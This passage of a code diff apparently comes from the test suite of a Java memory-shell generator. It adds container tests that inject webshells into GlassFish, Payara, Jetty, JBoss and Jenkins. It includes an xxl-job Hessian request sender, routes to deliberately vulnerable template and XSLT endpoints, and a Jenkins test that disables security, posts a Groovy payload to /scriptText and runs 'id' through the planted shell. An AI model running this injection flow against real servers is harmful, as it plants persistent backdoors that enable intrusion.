public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
|
||||||
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
|
||||||
|
public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath());
|
||||||
|
public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath());
|
||||||
|
|
||||||
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
|
||||||
|
|
||||||
|
|||||||
@@ -381,7 +381,8 @@ public class ShellAssertion {
|
|||||||
}
|
}
|
||||||
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
if (Packers.SpELSpringGzipJDK17.equals(packer)
|
||||||
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|
||||||
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
|
|| Packers.JXPathSpringGzipJDK17.equals(packer)
|
||||||
|
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
|
||||||
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -429,7 +430,7 @@ public class ShellAssertion {
|
|||||||
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
|
case Rhino -> VulTool.postIsOk(url + "/rhino", content);
|
||||||
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
|
case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
|
||||||
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
|
case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
|
||||||
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
|
case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
|
||||||
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
|
case Velocity -> VulTool.postIsOk(url + "/velocity", content);
|
||||||
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
|
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
|
||||||
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
|
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
|
||||||
@@ -444,9 +445,11 @@ public class ShellAssertion {
|
|||||||
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||||
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
|
||||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||||
|
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
|
||||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
|
case XxlJobHessian -> VulTool.xxlJobHessianExecutor(url + "/", content);
|
||||||
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
|
case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content);
|
||||||
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
|
||||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import okhttp3.*;
|
|||||||
import org.junit.jupiter.api.Assertions;
|
import org.junit.jupiter.api.Assertions;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
@@ -78,6 +79,23 @@ public class VulTool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void xxlJobHessianExecutor(String url, String base64Bytes) {
|
||||||
|
byte[] requestBytes = Base64.getDecoder().decode(base64Bytes);
|
||||||
|
OkHttpClient client = new OkHttpClient();
|
||||||
|
RequestBody body = RequestBody.create(requestBytes, MediaType.parse("application/octet-stream"));
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.url(url)
|
||||||
|
.post(body)
|
||||||
|
.addHeader("Connection", "close")
|
||||||
|
.build();
|
||||||
|
log.info("sending hessian2 xxl-rpc request to: {}", url);
|
||||||
|
try (Response response = client.newCall(request).execute()) {
|
||||||
|
log.info("xxl-rpc hessian2 response code: {}", response.code());
|
||||||
|
Thread.sleep(1000);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void xxlJobExecutor(String url, String data) {
|
public static void xxlJobExecutor(String url, String data) {
|
||||||
OkHttpClient client = new OkHttpClient();
|
OkHttpClient client = new OkHttpClient();
|
||||||
|
|||||||
+59
@@ -0,0 +1,59 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class GlassFish7JDK21ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
|
"reajason/glassfish:7.1.1-jdk21",
|
||||||
|
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+59
@@ -0,0 +1,59 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class GlassFish8ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
|
"reajason/glassfish:8.0.3-jdk21",
|
||||||
|
"/usr/local/glassfish8/glassfish/domains/domain1/autodeploy/app.war")
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V21)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
@@ -2,6 +2,7 @@ package com.reajason.javaweb.integration.memshell.jbossas;
|
|||||||
|
|
||||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
@@ -22,6 +23,7 @@ public class Jboss510ContainerTest extends AbstractContainerTest {
|
|||||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||||
"reajason/jboss:5-jdk6",
|
"reajason/jboss:5-jdk6",
|
||||||
"/usr/local/jboss/server/web/deploy/app.war")
|
"/usr/local/jboss/server/web/deploy/app.war")
|
||||||
|
.warFile(ContainerTool.servlet2WarFile)
|
||||||
.targetJdkVersion(Opcodes.V1_6)
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
.supportedShellTypes(List.of(
|
.supportedShellTypes(List.of(
|
||||||
ShellType.FILTER,
|
ShellType.FILTER,
|
||||||
|
|||||||
+175
@@ -0,0 +1,175 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.jenkins;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertion;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import okhttp3.*;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Locale;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static org.hamcrest.CoreMatchers.anyOf;
|
||||||
|
import static org.hamcrest.CoreMatchers.containsString;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class JenkinsJetty2575JDK21ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig
|
||||||
|
.builder()
|
||||||
|
.imageName("jenkins/jenkins:2.575-jdk21")
|
||||||
|
.env(Map.of("JAVA_OPTS", "-Djenkins.install.runSetupWizard=false"))
|
||||||
|
.server(Server.Jetty)
|
||||||
|
.jakarta(true)
|
||||||
|
.serverVersion("12")
|
||||||
|
.targetJdkVersion(Opcodes.V17)
|
||||||
|
.contextPath("")
|
||||||
|
.healthCheckPath("/login")
|
||||||
|
.assertLogs(false)
|
||||||
|
.waitStrategy(Wait.forHttp("/login").forPort(8080))
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER
|
||||||
|
))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_SERVLET,
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_HANDLER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.Groovy))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.enableJspPackerTest(false)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
private static final MountableFile DISABLE_SECURITY_SCRIPT = MountableFile.forHostPath(
|
||||||
|
Path.of("script", "disable-security.groovy").toAbsolutePath());
|
||||||
|
private static final OkHttpClient HTTP_CLIENT = new OkHttpClient();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network)
|
||||||
|
.withCopyToContainer(DISABLE_SECURITY_SCRIPT, "/var/jenkins_home/init.groovy.d/disable-security.groovy");
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void runShellInject(ContainerTestConfig config, String shellType, String shellTool, Packers packer) {
|
||||||
|
String url = getUrl();
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
MemShellResult generateResult = ShellAssertion.generate(urlPattern, config.getServer(), config.getServerVersion(),
|
||||||
|
shellType, shellTool, config.getTargetJdkVersion(), shellToolConfig, packer);
|
||||||
|
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
|
||||||
|
injectByScriptText(url, payload);
|
||||||
|
ShellAssertion.assertShellIsOk(generateResult, shellUrl, shellTool, shellType, getContainer(), getPythonContainer());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void runProbeInject(ContainerTestConfig config, String shellType) {
|
||||||
|
String url = getUrl();
|
||||||
|
String shellTool = ShellTool.Command;
|
||||||
|
Packers packer = Packers.Groovy;
|
||||||
|
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft().replace("/test", "/scriptText");
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
if (urlPattern != null) {
|
||||||
|
shellUrl += "testProbe";
|
||||||
|
urlPattern += "testProbe";
|
||||||
|
}
|
||||||
|
int probeTargetJdkVersion = config.getProbeTargetJdkVersion() == null
|
||||||
|
? config.getTargetJdkVersion()
|
||||||
|
: config.getProbeTargetJdkVersion();
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(config.getServer())
|
||||||
|
.serverVersion(config.getServerVersion())
|
||||||
|
.shellType(shellType)
|
||||||
|
.shellTool(shellTool)
|
||||||
|
.targetJreVersion(probeTargetJdkVersion)
|
||||||
|
.debug(false)
|
||||||
|
.probe(true)
|
||||||
|
.build();
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
.urlPattern(urlPattern)
|
||||||
|
.staticInitialize(true)
|
||||||
|
.build();
|
||||||
|
String paramName = "tomcatProbe" + shellType;
|
||||||
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
|
.paramName(paramName)
|
||||||
|
.build();
|
||||||
|
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||||
|
String payload = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||||
|
|
||||||
|
String res = injectByScriptText(url, payload);
|
||||||
|
assertThat(res, anyOf(
|
||||||
|
containsString("context: "),
|
||||||
|
containsString("server: "),
|
||||||
|
containsString("channel: "),
|
||||||
|
containsString("namespace: ")
|
||||||
|
));
|
||||||
|
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
private String injectByScriptText(String url, String payload) {
|
||||||
|
RequestBody requestBody = new FormBody.Builder()
|
||||||
|
.add("script", payload)
|
||||||
|
.build();
|
||||||
|
Request request = new Request.Builder()
|
||||||
|
.header("Content-Type", "application/x-www-form-urlencoded")
|
||||||
|
.url(url + "/scriptText")
|
||||||
|
.post(requestBody)
|
||||||
|
.build();
|
||||||
|
try (Response response = HTTP_CLIENT.newCall(request).execute()) {
|
||||||
|
String body = response.body().string();
|
||||||
|
assertTrue(response.isSuccessful(), "Jenkins scriptText should return 2xx, body: " + body);
|
||||||
|
assertTrue(isScriptTextResponseOk(body), "Jenkins scriptText should not return a Groovy error, body: " + body);
|
||||||
|
return body;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean isScriptTextResponseOk(String body) {
|
||||||
|
String normalizedBody = body.toLowerCase(Locale.ROOT);
|
||||||
|
return !normalizedBody.contains("groovy.lang.missing")
|
||||||
|
&& !normalizedBody.contains("groovy.lang.groovyruntimeexception")
|
||||||
|
&& !normalizedBody.contains("org.codehaus.groovy.control.multiplecompilationerrorsexception")
|
||||||
|
&& !normalizedBody.contains("script1.groovy")
|
||||||
|
&& !normalizedBody.contains("exception");
|
||||||
|
}
|
||||||
|
}
|
||||||
+55
@@ -0,0 +1,55 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.jetty;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.Server;
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/7
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Jetty51ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.
|
||||||
|
builder()
|
||||||
|
.imageName("reajason/jetty:5.1.10-jdk6")
|
||||||
|
.server(Server.Jetty5)
|
||||||
|
.pidScript(ContainerTool.jettyPid)
|
||||||
|
.warFile(ContainerTool.servlet2WarFile)
|
||||||
|
.warDeployPath("/usr/local/jetty/webapps/app.war")
|
||||||
|
.targetJdkVersion(Opcodes.V1_6)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.FILTER
|
||||||
|
))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.SERVLET,
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+60
@@ -0,0 +1,60 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.payara;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Payara6202312ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
|
"payara/server-web:6.2023.12",
|
||||||
|
"/opt/payara/deployments/app.war")
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V11)
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
|
.assertLogs(false)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected ContainerTestConfig getConfig() {
|
||||||
|
return CONFIG;
|
||||||
|
}
|
||||||
|
}
|
||||||
+60
@@ -0,0 +1,60 @@
|
|||||||
|
package com.reajason.javaweb.integration.memshell.payara;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||||
|
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/12
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
public class Payara6202412ContainerTest extends AbstractContainerTest {
|
||||||
|
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||||
|
"payara/server-web:6.2024.12-jdk17",
|
||||||
|
"/opt/payara/deployments/app.war")
|
||||||
|
.warFile(warJakartaFile)
|
||||||
|
.jakarta(true)
|
||||||
|
.targetJdkVersion(Opcodes.V11)
|
||||||
|
.waitStrategy(Wait.forLogMessage(".*JMXService.*", 1))
|
||||||
|
.assertLogs(false)
|
||||||
|
.supportedShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||||
|
))
|
||||||
|
.testPackers(List.of(Packers.JSP))
|
||||||
|
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||||
|
.probeShellTypes(List.of(
|
||||||
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE
|
||||||
|
))
|
||||||
|
.build();
|
||||||
|
|
||||||
|
static Network network = newNetwork();
|
||||||
|
@Container
|
||||||
|
